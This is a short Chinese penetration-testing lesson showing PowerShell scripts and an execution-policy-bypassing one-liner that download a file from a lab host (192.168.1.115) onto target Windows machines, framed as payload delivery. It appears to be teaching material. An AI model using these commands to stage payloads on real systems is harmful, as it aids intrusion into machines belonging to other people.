第四十六课:powershell一句话下载payload
自 Windows7 以后内置了 powershell,如Windows 7 中内置了 PowerShell2.0, Windows 8 中内置了 PowerShell3.0。
靶机:windows 7 powershell $PSVersionTable

down.ps1:

基于System.Net.WebClient

附:

1
$Urls = @()
2
$Urls += "http://192.168.1.115/robots.txt"
3
$OutPath = "E:\PDF\"
4
ForEach ( $item in $Urls) {
5
$file = $OutPath + ($item).split('/')[-1]
6
(New-Object System.Net.WebClient).DownloadFile($item, $file)
7
}
Copied!
靶机:windows 2012 powershell $PSVersionTable

down.ps1:

在 powershell 3.0以后,提供 wget 功能,既 Invoke-WebRequest
C:\inetpub>powershell C:\inetpub\down.ps1 注:需要绝对路径。

附:

1
$url = "http://192.168.1.115/robots.txt"
2
$output = "C:\inetpub\robots.txt"
3
$start_time = Get-Date
4
Invoke-WebRequest -Uri $url -OutFile $output
5
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
Copied!
当然也可以一句话执行下载:
1
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')
Copied!
Micropoor
Last modified 2yr ago